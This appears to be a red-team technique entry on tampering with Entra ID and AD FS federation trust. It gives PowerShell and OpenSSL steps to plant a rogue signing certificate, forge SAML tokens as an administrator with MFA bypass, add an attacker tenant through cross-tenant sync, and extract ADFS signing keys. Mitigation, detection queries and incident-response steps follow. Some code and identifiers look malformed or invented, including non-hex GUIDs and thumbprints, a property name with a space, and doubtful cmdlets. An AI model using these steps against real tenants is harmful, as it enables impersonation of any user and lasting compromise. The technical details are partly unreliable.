| Attribute | Details |
|---|---|
| Technique ID | PERSIST-TRUST-001 |
| MITRE ATT&CK v18.1 | T1484.002 - Domain or Tenant Policy Modification: Trust Modification |
| Tactic | Persistence, Defense Evasion, Privilege Escalation |
| Platforms | Hybrid AD, Entra ID, Cross-Cloud (AWS, GCP, Azure) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All Entra ID versions with federation enabled; ADFS 2016-2019+ |
| Patched In | N/A |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Federation trust relationships allow organizations to delegate authentication from Entra ID to on-premises Active Directory Federation Services (AD FS) or external identity providers. An attacker with sufficient cloud tenant privileges (Global Administrator, Hybrid Identity Administrator, or Domain Administrator on ADFS) can manipulate federation trust configurations to add malicious signing certificates, modify claim issuance rules, or alter domain authentication methods. These backdoors allow attackers to forge SAML tokens, impersonate any user (including privileged accounts), and bypass MFA entirely. The attack persists indefinitely because the legitimate federation relationship provides plausible cover for the malicious configuration.
Attack Surface: Federation trust settings in Entra ID, ADFS claim issuance rules, ADFS certificate management, cross-tenant synchronization settings, and domain authentication status (Managed vs. Federated).
Business Impact: Complete Tenant Compromise with Persistence. An attacker can impersonate any user in the organization, including Global Administrators, without knowing passwords or bypassing MFA. They can maintain persistent access across cloud and hybrid environments indefinitely. The attack enables theft of sensitive data, lateral movement to partner tenants (via cross-tenant federation), and complete compromise of cloud services (M365, Azure, O365, etc.). Once established, the backdoor is difficult to detect without examining SAML token signatures and certificate metadata.
Technical Context: Federation trust attacks are particularly dangerous because they leverage legitimate authentication mechanisms. A single forged SAML token grants full access with no audit trail showing MFA bypass or abnormal authentication. The attack typically takes minutes to execute but enables months of undetected persistence. Detection likelihood is Low to Medium if SAML token signatures are not actively validated; most organizations lack the technical tools to detect forged tokens.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1, 2.2, 5.1 | Protect trust relationships; manage federation settings; enforce strong authentication |
| DISA STIG | U-15432 | Manage federation trust and identity provider configurations securely |
| CISA SCuBA | EXO.03.001 | Verify federated domain SAML signing certificates and revoke untrusted roots |
| NIST 800-53 | AC-3, IA-5, SC-12 | Access Control; Identification and Authentication; Cryptographic Key Establishment |
| GDPR | Art. 32, Art. 5(1)(a) | Security of Processing; lawfulness, fairness, transparency |
| DORA | Art. 9, Art. 15 | Protection and Prevention; incident management and notification |
| NIS2 | Art. 21 | Cyber Risk Management Measures; identity and access management |
| ISO 27001 | A.9.2.3, A.10.1.1, A.14.2.5 | Privileged access; data classification; cryptographic controls |
| ISO 27005 | “Compromise of federation signing certificates” | Risk of unauthorized access across trust boundaries |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Supported Versions: All Entra ID versions with federation enabled
Objective: Identify current federation configuration and existing signing certificates to understand the legitimate setup.
Command (via PowerShell):
# Connect to Entra ID
Connect-MgGraph -Scopes "Domain.Read.All", "Organization.Read.All"
# Get all domains and their federation status
$domains = Get-MgDomain
$domains | Select-Object Id, IsVerified, IsDefault | Format-Table
# Get federation settings for federated domains
# Note: This requires Exchange Online cmdlets for detailed federation info
Connect-ExchangeOnline
# Enumerate federated domains and their SAML certificate fingerprints
$federatedDomains = Get-MsolFederationProperty -DomainName "contoso.com"
$federatedDomains | Select-Object FederationBrandName, FederationServiceIdentifier, LogOffUri
Alternative (MSOL Module - Legacy but still effective):
# Connect to Azure AD via MSOL
Connect-MsolService
# List all domains in the tenant
$allDomains = Get-MsolDomain
$allDomains | Select-Object Name, Status, Authentication | Format-Table
# Get federation metadata for federated domains
$federatedDomains = $allDomains | Where-Object { $_.Authentication -eq "Federated" }
foreach ($domain in $federatedDomains) {
Write-Output "Domain: $($domain.Name) - Type: $($domain.Authentication)"
Get-MsolFederationProperty -DomainName $domain.Name | Select-Object FederationServiceIdentifier
}
Expected Output:
Name IsVerified IsDefault
---- ---------- ---------
contoso.com True True
contoso.onmicrosoft.com True False
partner.contoso.com True False
FederationBrandName : Contoso ADFS
FederationServiceIdentifier : https://adfs.contoso.com/adfs/services/trust/
LogOffUri : https://adfs.contoso.com/adls/ls/?wa=wsignout1.0
What This Means:
OpSec & Evasion:
Objective: Create a certificate that will be added as a secondary signing certificate to the existing federated domain, allowing token forgery.
Command (PowerShell on Windows with elevated privileges):
# Import certificate generation module
Import-Module -Name 'C:\Program Files\Microsoft Azure AD Connect\Tools\ADFSToolsMicrosoft'
# Alternative: Generate certificate using OpenSSL or native Windows tools
# Generate self-signed certificate for token signing (valid for 1 year)
$certName = "Contoso Token Signing Cert 2025"
$cert = New-SelfSignedCertificate -DnsName "adfs.contoso.com" `
-CertStoreLocation "Cert:\LocalMachine\My" `
-NotAfter (Get-Date).AddYears(1) `
-KeySpec Signature `
-KeyLength 2048 `
-Subject "CN=$certName"
Write-Output "Certificate created: $($cert.Thumbprint)"
# Export the certificate with private key (for attacker use)
$certPassword = ConvertTo-SecureString -String "AttackerPassword123!" -AsPlainText -Force
Export-PfxCertificate -Cert "Cert:\LocalMachine\My\$($cert.Thumbprint)" `
-FilePath "C:\Temp\FakeADFSCert.pfx" `
-Password $certPassword
# Export public key only (for Entra ID upload)
Export-Certificate -Cert "Cert:\LocalMachine\My\$($cert.Thumbprint)" `
-FilePath "C:\Temp\FakeADFSCert.cer"
Write-Output "Certificate exported to C:\Temp\FakeADFSCert.pfx and C:\Temp\FakeADFSCert.cer"
Alternative (Using OpenSSL - Cross-Platform):
# Generate private key
openssl genrsa -out malicious-key.pem 2048
# Generate self-signed certificate (valid 365 days)
openssl req -new -x509 -key malicious-key.pem -out malicious-cert.pem -days 365 \
-subj "/CN=adfs.contoso.com/O=Contoso/C=US"
# Convert to PKCS12 format (.pfx) for Windows compatibility
openssl pkcs12 -export -in malicious-cert.pem -inkey malicious-key.pem \
-out malicious-cert.pfx -name "Contoso Token Signing" -password pass:AttackerPassword123!
ls -la malicious-cert.*
Expected Output:
Thumbprint Subject
---------- -------
A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6 CN=Contoso Token Signing Cert 2025
What This Means:
Troubleshooting:
References & Proofs:
Objective: Upload the malicious certificate to the federated domain, making Entra ID trust tokens signed by the attacker’s certificate.
Command (via PowerShell):
# Connect to Azure AD
Connect-MsolService
# Get the existing federation settings for the domain
$federationSettings = Get-MsolFederationProperty -DomainName "contoso.com"
# Read the malicious certificate
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
$cert.Import((Get-Content "C:\Temp\FakeADFSCert.cer" -Encoding Byte))
# Create ImmutableId for the certificate (required by Entra ID)
$certBytes = $cert.RawData
$certBase64 = [System.Convert]::ToBase64String($certBytes)
# Add the malicious certificate as a secondary signing certificate
New-MsolFederationProperty -DomainName "contoso.com" `
-FederationBrandName "Contoso ADFS" `
-MetadataExchangeUri "https://adfs.contoso.com/federationmetadata/2007-06/federationmetadata.xml" `
-SigningCertificate $cert `
-IssuerUri "https://adfs.contoso.com/adfs/services/trust/" `
-LogOffUri "https://adfs.contoso.com/adfs/ls/?wa=wsignout1.0" `
-PassiveLogOnUri "https://adfs.contoso.com/adfs/ls/"
Write-Output "Malicious certificate added to federated domain contoso.com"
# Verify the certificate was added
$federationCerts = Get-MsolFederationProperty -DomainName "contoso.com" | Select-Object -ExpandProperty SigningCertificate
$federationCerts | Select-Object Thumbprint, Subject, NotAfter
Alternative (Using Graph API):
# This method is more complex and requires beta Graph endpoints
# Recommended to use MSOL module above
# Connect to Graph
Connect-MgGraph -Scopes "Domain.ReadWrite.All", "Organization.ReadWrite.All"
# Get internalDomainFederation details
$domainId = (Get-MgDomain -DomainId "contoso.com").Id
$federationConfig = Get-MgBetaInternalDomainFederation -InternalDomainFederationId $domainId
# Add signing certificate (requires specific Graph beta endpoint)
# Implementation varies based on Graph API version
Expected Output:
Thumbprint Subject NotAfter
---------- ------- --------
ABC123DEF456GHI789JKL012MNO345PQR CN=Contoso Token Signing Cert 2025 1/9/2026
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Create forged SAML tokens signed with the malicious certificate to authenticate as any user, including Global Administrators.
Command (PowerShell with AADInternals):
# Install/Import AADInternals
Import-Module AADInternals
# Load the malicious certificate (with private key)
$certPassword = ConvertTo-SecureString -String "AttackerPassword123!" -AsPlainText -Force
$cert = Get-PfxCertificate -FilePath "C:\Temp\FakeADFSCert.pfx" -Password $certPassword
# Get the target user's ImmutableId (for hybrid users synced to AD)
# This is the on-premises AD objectGUID
Connect-MsolService
$targetUser = Get-MsolUser -UserPrincipalName "admin@contoso.com"
$immutableId = $targetUser.ImmutableId
# Create a forged SAML token
$samlToken = New-AADIntSAMLToken `
-IssuerUri "https://adfs.contoso.com/adfs/services/trust/" `
-Audience "https://login.microsoftonline.com" `
-NotBefore (Get-Date) `
-NotAfter (Get-Date).AddHours(1) `
-ImmutableId $immutableId `
-Certificate $cert `
-BypassMFA $true
Write-Output "Forged SAML token created for user: $($targetUser.UserPrincipalName)"
Write-Output "Token:"
Write-Output $samlToken
# Use the token to authenticate and obtain an Entra ID access token
$accessToken = Invoke-AADIntSAMLTokenExchange -SAMLToken $samlToken -Endpoint "https://login.microsoftonline.com"
Write-Output "Access token obtained:"
Write-Output $accessToken
Alternative (Manual Token Forging with .NET):
# This approach allows for more control over SAML token claims
# Load necessary assemblies
[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null
# Define SAML token template
$samlTemplate = @"
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" IssueInstant="TIME_PLACEHOLDER" ID="_GUID_PLACEHOLDER">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://adfs.contoso.com/adfs/services/trust/</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<!-- Signature will be added here -->
</ds:Signature>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">admin@contoso.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="NOTAFTER_PLACEHOLDER" Recipient="https://login.microsoftonline.com/saml2"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="NOTBEFORE_PLACEHOLDER" NotOnOrAfter="NOTAFTER_PLACEHOLDER">
<saml:AudienceRestriction>
<saml:Audience>https://login.microsoftonline.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="TIME_PLACEHOLDER" SessionIndex="_SESSION_IDX">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue>IMMUTABLEID_PLACEHOLDER</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
"@
# Build token with placeholders replaced
$now = [DateTime]::UtcNow
$saml = $samlTemplate `
-replace "TIME_PLACEHOLDER", $now.ToString("o") `
-replace "NOTBEFORE_PLACEHOLDER", $now.ToString("o") `
-replace "NOTAFTER_PLACEHOLDER", $now.AddHours(1).ToString("o") `
-replace "GUID_PLACEHOLDER", [Guid]::NewGuid().ToString() `
-replace "IMMUTABLEID_PLACEHOLDER", $immutableId
# Sign the assertion (requires .NET XML signing implementation)
# This is complex and requires proper implementation of DS:Signature
Expected Output:
Forged SAML token created for user: admin@contoso.com
Token:
<saml:Assertion ...>
[Long base64-encoded token content]
</saml:Assertion>
Access token obtained:
eyJhbGciOiJSUzI1NiIsImtpZCI6Ik...
What This Means:
Troubleshooting:
Get-MsolFederationPropertyReferences & Proofs:
Supported Versions: Entra ID with External Identities enabled
Objective: Identify existing cross-tenant synchronization configurations and trust relationships.
Command (PowerShell):
# Connect to Entra ID
Connect-MgGraph -Scopes "CrossTenantUserProfileSharing.ReadWrite.All", "InvitationManagement.ReadWrite.All"
# Get cross-tenant access settings
$crossTenantSettings = Get-MgBetaCrossTenantAccessPolicy
# List all configured cross-tenant partners
$partners = Get-MgBetaCrossTenantAccessPolicyPartner
$partners | Select-Object TenantId, DisplayName | Format-Table
# Check inbound/outbound access policies
foreach ($partner in $partners) {
Write-Output "Partner: $($partner.DisplayName) ($($partner.TenantId))"
Get-MgBetaCrossTenantAccessPolicyPartnerInboundTrust -CrossTenantAccessPolicyPartnerId $partner.TenantId | Select-Object B2bDirectConnectAllowed, IsMfaRecognized
}
Expected Output:
TenantId DisplayName
-------- -----------
a1b2c3d4-e5f6-7a8b-9c0d-1e2f3a4b5c6d Trusted Partner Org
Partner: Trusted Partner Org (a1b2c3d4-e5f6-7a8b-9c0d-1e2f3a4b5c6d)
B2bDirectConnectAllowed IsMfaRecognized
----------------------- ---------------
True True
What This Means:
Objective: Register the attacker’s tenant as a legitimate cross-tenant partner, enabling automated user synchronization.
Command (PowerShell - Execute in Compromised Tenant):
# In the COMPROMISED tenant (that the attacker has admin access to)
# Define the attacker-controlled tenant ID
$attackerTenantId = "x9y8z7a6-b5c4-d3e2-f1g0-h9i8j7k6l5m4"
# Create inbound cross-tenant partner configuration
$inboundConfig = @{
TenantId = $attackerTenantId
DisplayName = "Trusted Development Partner"
B2bDirectConnectAllowed = $true
Automatic UserInviteRedemption = $true
}
# Add the attacker tenant as a partner
New-MgBetaCrossTenantAccessPolicyPartner @inboundConfig
Write-Output "Attacker tenant added as cross-tenant partner: $attackerTenantId"
# Verify the partner was added
Get-MgBetaCrossTenantAccessPolicyPartner -CrossTenantAccessPolicyPartnerId $attackerTenantId | Format-List
Command (PowerShell - Configure Inbound Sync in Compromised Tenant):
# Enable automatic user invitation redemption for the attacker tenant
Update-MgBetaCrossTenantAccessPolicyPartnerInboundTrust `
-CrossTenantAccessPolicyPartnerId $attackerTenantId `
-IsMfaRecognized $true `
-IsCompliantDeviceAccepted $true `
-AutomaticUserConsentAllowed $true # CRITICAL: Auto-redeem invitations
# Allow synchronization of users from attacker tenant into compromised tenant
$syncConfig = @{
IsSyncAllowed = $true
IsBlockedByResourceTenant = $false
}
Update-MgBetaCrossTenantAccessPolicyPartnerInboundSynchronization `
-CrossTenantAccessPolicyPartnerId $attackerTenantId `
-BodyParameter $syncConfig
Write-Output "Inbound synchronization enabled for attacker tenant"
Expected Output:
Attacker tenant added as cross-tenant partner: x9y8z7a6-b5c4-d3e2-f1g0-h9i8j7k6l5m4
Inbound synchronization enabled for attacker tenant
What This Means:
Objective: Configure the attacker tenant to push accounts into the compromised tenant via cross-tenant synchronization.
Command (PowerShell - Execute in Attacker Tenant):
# In the ATTACKER's tenant
$compromisedTenantId = "c1d2e3f4-a5b6-c7d8-e9f0-a1b2c3d4e5f6"
# Create outbound configuration pointing to the compromised tenant
$outboundConfig = @{
TenantId = $compromisedTenantId
DisplayName = "Target Customer Org"
B2bDirectConnectAllowed = $true
AutomaticUserInviteRedemption = $true
}
New-MgBetaCrossTenantAccessPolicyPartner @outboundConfig
# Enable outbound synchronization to push users to the compromised tenant
$outboundSync = @{
IsSyncAllowed = $true
IsSyncFromAADAllowed = $true
}
Update-MgBetaCrossTenantAccessPolicyPartnerOutboundSynchronization `
-CrossTenantAccessPolicyPartnerId $compromisedTenantId `
-BodyParameter $outboundSync
Write-Output "Outbound sync configured to push users to compromised tenant"
What This Means:
References & Proofs:
Supported Versions: Hybrid AD with ADFS 2016-2022
Objective: Retrieve the legitimate ADFS token signing certificate to enable Golden SAML attacks without needing to upload a backdoor certificate.
Command (PowerShell on ADFS Server or Domain Admin):
# This technique requires either:
# 1. Local admin on ADFS server, OR
# 2. Domain Admin with replication rights
# METHOD 1: Direct extraction from ADFS service (requires local admin on ADFS server)
# Connect to ADFS Management module
Import-Module ADFS
# Get the token signing certificate currently in use
$tokenSigningCerts = Get-ADFSCertificate -CertificateType Token-Signing
foreach ($cert in $tokenSigningCerts) {
Write-Output "Certificate Thumbprint: $($cert.Thumbprint)"
Write-Output "Certificate Subject: $($cert.Subject)"
Write-Output "Not After: $($cert.NotAfter)"
Write-Output "Is Primary: $($cert.IsPrimary)"
}
# Export the primary certificate (may not have private key if non-exportable)
$primaryCert = $tokenSigningCerts | Where-Object { $_.IsPrimary -eq $true } | Select-Object -First 1
# METHOD 2: Extract via ADFS Configuration Database (requires local admin on ADFS or SQL admin)
# Access the ADFS configuration database
$configDb = Get-ADFSProperties | Select-Object CertificateThumbprint
$primaryThumbprint = $configDb.CertificateThumbprint
# Retrieve from local certificate store
$cert = Get-Item "Cert:\LocalMachine\My\$primaryThumbprint"
# Export public key
Export-Certificate -Cert $cert -FilePath "C:\Temp\ADFSTokenSigningCert.cer"
# If the private key is exportable, extract it
# Note: This may fail if the key is non-exportable or stored in CAPI2
try {
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\ADFSTokenSigningCert.pfx" -Password (ConvertTo-SecureString -String "Password" -AsPlainText -Force)
Write-Output "Successfully exported certificate with private key"
} catch {
Write-Output "Private key is not exportable. Attempting alternative extraction..."
}
Alternative (Via ADFS Replication Service - Remote Extraction):
# This technique abuses the AD FS Policy Store Transfer Service
# Requires network access to ADFS port (default: HTTP/HTTPS)
# Requires local admin on ADFS server or domain replication rights
# This is a complex technique requiring .NET reflection or tools like AADInternals
# Using AADInternals
Import-Module AADInternals
# Extract ADFS configuration via replication service
$adfsConfig = Get-AADIntADFSConfiguration -Server "adfs.contoso.com" -Credentials $creds
# The configuration includes encrypted token signing certificate
$encryptedCert = $adfsConfig.TokenSigningCertificate
# Decrypt using DKM key from Active Directory (requires DCSync privileges)
$dkmKey = Get-AADIntDCKey -DomainController "dc.contoso.com"
$decryptedCert = Unprotect-AADIntADFSCertificate -EncryptedCert $encryptedCert -DKMKey $dkmKey
Write-Output "ADFS Token Signing Certificate extracted and decrypted"
Expected Output:
Certificate Thumbprint: ABC123DEF456GHI789JKL012MNO345PQR
Certificate Subject: CN=ADFS Signing - adfs.contoso.com
Not After: 1/15/2026
Is Primary: True
Successfully exported certificate with private key
What This Means:
Troubleshooting:
References & Proofs:
1. Implement Strict Federated Domain Certificate Management and Monitoring
Continuously audit all federation signing certificates and immediately alert on any certificate additions or modifications.
Manual Steps (Entra ID Portal):
PowerShell (Continuous Audit):
# Audit federation certificates weekly
$federatedDomains = (Get-MsolDomain | Where-Object { $_.Authentication -eq "Federated" }).Name
$certAudit = @()
foreach ($domain in $federatedDomains) {
$fedProperty = Get-MsolFederationProperty -DomainName $domain
# Get all signing certificates (not just primary)
$certs = $fedProperty.SigningCertificate
foreach ($cert in $certs) {
$daysUntilExpiry = ($cert.NotAfter - (Get-Date)).Days
# Alert if certificate is new (created within last 7 days)
$certAge = (Get-Date) - $cert.NotBefore
if ($certAge.Days -lt 7) {
Write-Warning "NEW CERTIFICATE DETECTED on domain $domain"
Write-Warning "Thumbprint: $($cert.Thumbprint)"
Write-Warning "Subject: $($cert.Subject)"
Write-Warning "Created: $($cert.NotBefore)"
Write-Warning "INVESTIGATE IMMEDIATELY"
}
$auditEntry = [PSCustomObject]@{
Domain = $domain
Thumbprint = $cert.Thumbprint
Subject = $cert.Subject
NotBefore = $cert.NotBefore
NotAfter = $cert.NotAfter
DaysUntilExpiry = $daysUntilExpiry
IssuedToDays = $certAge.Days
}
$certAudit += $auditEntry
}
}
# Export audit report
$certAudit | Export-Csv -Path "C:\Reports\FederationCertAudit_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation
# Alert on suspicious findings
if ($certAudit | Where-Object { $_.IssuedToDays -lt 7 -or $_.DaysUntilExpiry -lt 30 }) {
Write-Warning "CRITICAL: Suspicious certificate activity or expiring certificates detected"
}
What to Look For:
Apply To: All federated domains weekly/monthly
2. Enforce Federation Certificate Pinning and Validation
Restrict Entra ID to only accept SAML tokens signed by a whitelist of approved certificates, preventing attacker-controlled certificates.
Manual Steps (PowerShell - Remove Unnecessary Certs):
# For each federated domain, ensure ONLY the primary legitimate certificate is authorized
$federatedDomains = (Get-MsolDomain | Where-Object { $_.Authentication -eq "Federated" }).Name
foreach ($domain in $federatedDomains) {
$fedProperty = Get-MsolFederationProperty -DomainName $domain
# Get primary certificate (the one that should be used)
$primaryCert = $fedProperty.SigningCertificate | Where-Object { $_.IsPrimary -eq $true }
# Get secondary/backup certificates
$secondaryCerts = $fedProperty.SigningCertificate | Where-Object { $_.IsPrimary -ne $true }
if ($secondaryCerts) {
Write-Warning "Domain $domain has $($secondaryCerts.Count) secondary certificates"
foreach ($cert in $secondaryCerts) {
# Investigate each secondary certificate
Write-Output "Secondary cert - Thumbprint: $($cert.Thumbprint), Subject: $($cert.Subject), NotAfter: $($cert.NotAfter)"
# If not needed, remove via Update-MsolFederatedDomain cmdlet
# This requires careful coordination to avoid breaking authentication
}
}
}
What to Look For:
Apply To: All federated domains immediately upon detection of unauthorized certificates
3. Require Explicit MFA Enforcement for Federated Users (Do Not Trust IdP)
Configure Entra ID to enforce MFA regardless of claims from the federated IdP, preventing MFA bypass via forged tokens.
Manual Steps (Azure Portal):
Effect: Even if a forged SAML token claims MFA was performed, Entra ID will require MFA again.
PowerShell (Enforce MFA for Federated Users):
# Create conditional access policy that requires MFA for federated users
$caPolicy = @{
DisplayName = "Enforce MFA for Federated Users"
State = "enabled"
Conditions = @{
AuthenticationMethods = @("federated")
Applications = @{ IncludeApplications = "All" }
}
GrantControls = @{
BuiltInControls = @("mfa")
Operator = "OR"
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $caPolicy
Apply To: All Entra ID tenants with federated domains
4. Rotate Federation Signing Certificates Regularly (Every 1-2 Years)
Implement an automated certificate rotation schedule to invalidate any stolen or backdoored certificates.
Manual Steps:
PowerShell (Automated Rotation Check):
# Check ADFS certificates for approaching expiration
Import-Module ADFS
$tokenSigningCerts = Get-ADFSCertificate -CertificateType Token-Signing
foreach ($cert in $tokenSigningCerts) {
$daysUntilExpiry = ($cert.NotAfter - (Get-Date)).Days
if ($daysUntilExpiry -lt 90) {
Write-Warning "Token signing certificate expiring in $daysUntilExpiry days"
Write-Warning "Initiate certificate rotation process immediately"
Write-Warning "Thumbprint: $($cert.Thumbprint)"
}
}
Apply To: All federated deployments with a formal certificate rotation schedule
5. Monitor for Suspicious SAML Token Patterns
Detect forged SAML tokens by analyzing token signatures and claims for anomalies.
Manual Configuration (Microsoft Sentinel):
SigninLogs
| where ConditionalAccessStatus == "notApplied"
| where AuthenticationRequirement == "multiFactorAuthentication" // Claimed MFA but CA shows otherwise
| where SignInStatus == "Success"
| where AppDisplayName contains "Office 365" or AppDisplayName contains "Azure"
| project TimeGenerated, UserPrincipalName, IpAddress, LocationDetails, AuthenticationMethodsUsed, ConditionalAccessStatus
Apply To: All Entra ID tenants with federated authentication
6. Restrict Cross-Tenant Synchronization to Explicitly Approved Partners
Disable automatic cross-tenant user invitation redemption and synchronization by default.
Manual Steps (Entra ID Portal):
PowerShell (Disable Auto-Consent):
# Disable automatic redemption for all cross-tenant partners
$partners = Get-MgBetaCrossTenantAccessPolicyPartner
foreach ($partner in $partners) {
Update-MgBetaCrossTenantAccessPolicyPartnerInboundTrust `
-CrossTenantAccessPolicyPartnerId $partner.TenantId `
-AutomaticUserConsentAllowed $false `
-IsMfaRecognized $false
}
Write-Output "Disabled automatic user consent for all cross-tenant partners"
Apply To: All tenants with cross-tenant synchronization enabled
7. Implement Enhanced Logging and Auditing for Federation Changes
Enable detailed audit logging for all federation-related activities.
Manual Steps:
PowerShell (Search Federation Audit Logs):
# Search for federation modifications in the last 30 days
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-Operations "Set federation settings on domain", "Set domain authentication", "Update federated domain" `
-ResultSize 5000 |
Select-Object UserIds, Operations, CreationDate, AuditData |
Export-Csv -Path "C:\Reports\FederationAuditLog_$(Get-Date -Format 'yyyyMMdd').csv"
Apply To: All federated tenants
Federation Configuration IOCs:
SAML Token IOCs:
Cloud Audit Logs:
1. Immediate Isolation:
Command (Revoke All Federated Domain Authentication):
# Immediately convert federated domain to Managed (cloud-only auth)
# This invalidates all SAML tokens and forged credentials
Convert-MsolFederatedDomain -DomainName "contoso.com" -Credential $adminCreds
Write-Output "Domain converted from Federated to Managed"
Write-Output "All users must authenticate directly to Entra ID"
Manual (Azure Portal):
2. Collect Evidence:
Command:
# Export all federation configuration
$federatedDomains = Get-MsolDomain | Where-Object { $_.Authentication -eq "Federated" }
foreach ($domain in $federatedDomains) {
$fedProp = Get-MsolFederationProperty -DomainName $domain.Name
$fedProp | Export-Clixml -Path "C:\Evidence\FederationConfig_$($domain.Name).xml"
# Export signing certificates
$fedProp.SigningCertificate | Export-Csv -Path "C:\Evidence\SigningCerts_$($domain.Name).csv"
}
# Export cross-tenant synchronization configuration
Get-MgBetaCrossTenantAccessPolicyPartner | Export-Csv -Path "C:\Evidence\CrossTenantPartners.csv"
# Export federation audit logs (last 90 days)
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) `
-Operations "Set federation settings on domain", "Set domain authentication" |
Export-Csv -Path "C:\Evidence\FederationAuditLog_90days.csv"
3. Revoke All Sessions and Reset Credentials:
Command:
# Get all users who have signed in via federated authentication recently
$fedSignIns = Get-MgAuditLogSignIn -Filter "authenticationIssuedAuthenticationMethod eq 'Federated'" | Select-Object -First 1000
# For each user, revoke all sessions
foreach ($signIn in $fedSignIns) {
$userId = (Get-MgUser -Filter "userPrincipalName eq '$($signIn.UserPrincipalName)'").Id
Revoke-MgUserSignInSession -UserId $userId
# Force password reset
Set-MgUserPassword -UserId $userId -NewPassword ([System.Web.Security.Membership]::GeneratePassword(20, 3))
}
Write-Output "Revoked all sessions for $($fedSignIns.Count) users"
4. Investigate Token Forgery:
Query (Detect Forged Token Usage):
// Kql to detect anomalous SAML token usage
SigninLogs
| where AuthenticationMethodsUsed has "Federated"
| where ResultType == 0 // Successful sign-in
| where ConditionalAccessStatus == "notApplied" // CA bypassed
| where IpAddress !in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16") // From external IP
| where Location !in ("United States", "France") // From unexpected location
| project TimeGenerated, UserPrincipalName, IpAddress, Location, AppDisplayName, ResourceDisplayName
| order by TimeGenerated desc
5. Remediation:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks admin into granting OAuth consent |
| 2 | Privilege Escalation | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker escalates to Global Admin |
| 3 | Persistence | [PERSIST-TRUST-001] Federation Trust Tampering | Attacker adds malicious signing certificate |
| 4 | Defense Evasion | [EVADE-IMPAIR-007] Audit Log Tampering | Attacker covers tracks by removing audit evidence |
| 5 | Impact | [COLLECT-EMAIL-001] Email Exfiltration via Forged Token | Attacker accesses email as Global Admin |
Target: US Government agencies, private sector organizations
Timeline: December 2020 - March 2021
Technique Status: Confirmed active; extensively documented by Microsoft and CISA
Impact: APT29 compromised SolarWinds Orion software, gaining access to thousands of organizations. Once inside customer networks, they extracted ADFS Token Signing Certificates and used them to forge SAML tokens, gaining access to M365, Azure, and cloud services as any user. The attack persisted for months by using legitimate federation mechanisms; customers could not distinguish forged tokens from legitimate ones.
Reference: Microsoft Advice for Incident Responders - SolarWinds Recovery
Target: US government, NATO allies
Timeline: 2023-2024
Technique Status: Active exploitation; documented by Microsoft Threat Intelligence
Impact: APT29 compromised Global Admin accounts and added secondary SAML signing certificates to federated domains. These certificates were then used to forge tokens enabling access to cloud services as any user. The attack went undetected for months because the certificate blended with legitimate ADFS configuration. When discovered, certificate rotation revealed the attacker had maintained persistent access across multiple cloud environments.
Reference: MITRE ATT&CK - APT29 Domain Trust Modification
Target: Large enterprise organizations
Timeline: 2024
Technique Status: Active; documented in Security Operations Center reports
Impact: Scattered Spider gained initial access via social engineering, then escalated to Global Admin. They immediately created cross-tenant synchronization configurations pointing to attacker-controlled tenants, enabling them to push fake “admin” users into the victim organization. These backdoor users persisted indefinitely, allowing the attacker to regain access even after the initial compromise was remediated and the compromised admin account was disabled.
Reference: Compromising Identity Provider Federation - CrowdStrike
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("Set federation settings on domain", "Update federated domain", "Set domain authentication")
| extend TargetDomain = extract(@"Name=(.+?),", 1, tostring(TargetResources))
| extend Thumbprints = extract_all(@"Thumbprint=(.+?)[,]", tostring(TargetResources))
| extend ModifyingUser = InitiatedBy.user.userPrincipalName
| where OperationName == "Set federation settings on domain" // New cert addition
| project TimeGenerated, ModifyingUser, OperationName, TargetDomain, Thumbprints, AuditData
| order by TimeGenerated desc
What This Detects:
Manual Configuration Steps:
Unauthorized Federation Certificate AdditionCritical15 minutesRule Configuration:
KQL Query:
SigninLogs
| where AuthenticationMethodsUsed has "Federated"
| where ConditionalAccessStatus == "notApplied" // CA should have been enforced
| where ResultType == 0 // Successful sign-in despite CA bypass
| where UserPrincipalName in ("admin@contoso.com", "globaladmin@contoso.com") // Privileged users
| where LocationDetails.countryOrRegion !in ("US", "FR") // Unexpected location
| project TimeGenerated, UserPrincipalName, IpAddress, LocationDetails, AppDisplayName
| order by TimeGenerated desc
What This Detects:
Manual Configuration Steps:
Anomalous SAML Token AuthenticationHigh10 minutesManual Configuration:
Federation trust configuration tampering is one of the most dangerous persistence mechanisms available to attackers because it leverages legitimate authentication infrastructure. Organizations must implement comprehensive certificate auditing, strict MFA enforcement regardless of IdP claims, certificate pinning, and continuous monitoring to prevent attackers from establishing long-term backdoors through federation abuse.
